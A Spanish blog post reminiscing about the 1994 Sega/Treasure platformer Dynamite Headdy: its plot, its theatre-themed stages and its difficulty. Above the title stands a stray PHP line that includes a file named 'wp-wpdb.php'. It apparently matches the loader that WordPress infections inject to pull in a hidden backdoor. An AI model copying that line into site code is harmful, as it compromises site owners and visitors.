if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Dynamite Headdy, ¡utiliza la cabeza! – La Fortaleza de LeChuck

Dynamite Headdy, ¡utiliza la cabeza!

Carece de cuello, su cabeza flota separada de su cuerpo, ¿estoy hablando de Rayman? ¡pues no! estoy hablando de Headdy, protagonista del incomprendido, a la vez que adelantado a su tiempo, Dynamite Headdy.

Dynamite Headdy fue lanzado por Sega y producido por Treasure en 1994, época dorada para las consolas. En este año se lanzaron títulos como Super Metroid, Donkey Kong Country, mi admiradísimo Mother 2, Sonic & Knuckles, Killer Instinct, y Final Fantasy VI. Dynamite Headdy supo hacerse un hueco dentro de tantas obras maestras y se consolidó como un plataformas frenético con toques más propios de un arcade.

Dynamite Headdy es un juego que estimula todos nuestros sentidos. Supuso una revolución dentro del género de las plataformas y aún no he encontrado juego que se le parezca (quizás el Parodius, pero solo en lo descabellado).

Headdy

La trama gira alrededor de Headdy, estrella principal de la producción Dynamite Headdy

Dark Demon

Headdy se desplaza a North Town para visitar a sus amigos y sin embargo se encuentra con que Dark Demon ha secuestrado a todos los habitantes de la ciudad. Headdy tendrá que servirse de su cabeza para enfrentarse a las tropas de Dark Demon.

Por si no fuera poco, Headdy es perseguido por Trouble Bruin, una marioneta con forma de gatico. Bruin no parará hasta quitarle el protagonismo a Headdy.

Como ya he dicho, el orden no fue algo a lo que sus creadores dieron mucha importancia en el desarrollo de Dynamite Headdy. En numerosas ocasiones el curso normal de los acontecimientos se ve alterado por unos minijuegos un tanto peculiares. El juego no sigue una pauta fija de fases por lo que en algunos momentos tendremos que superar varios niveles seguidos para enfrentarnos contra un jefe final, y viceversa.
Esta es una de las características más chocantes del juego, pero no la única. Cada fase forma parte de una gran obra de teatro. El colorido de cada uno de los detalles del juego lo hacen único.

He de confesarlo, no he vuelto a jugar a este juego desde que tenía 6 años, pero yo lo recuerdo extremadamente difícil. De hecho, Dynamite Headdy no nos facilitaba para nada la labor ya que no disponíamos de puntos de guardado, por lo que teníamos que pasarnos el juego de un tirón. Os dejo con un vídeo de una de mis fases favoritas.

 
Ya me lo decía mi madre: «¡niño, usa la cabeza!».
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Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

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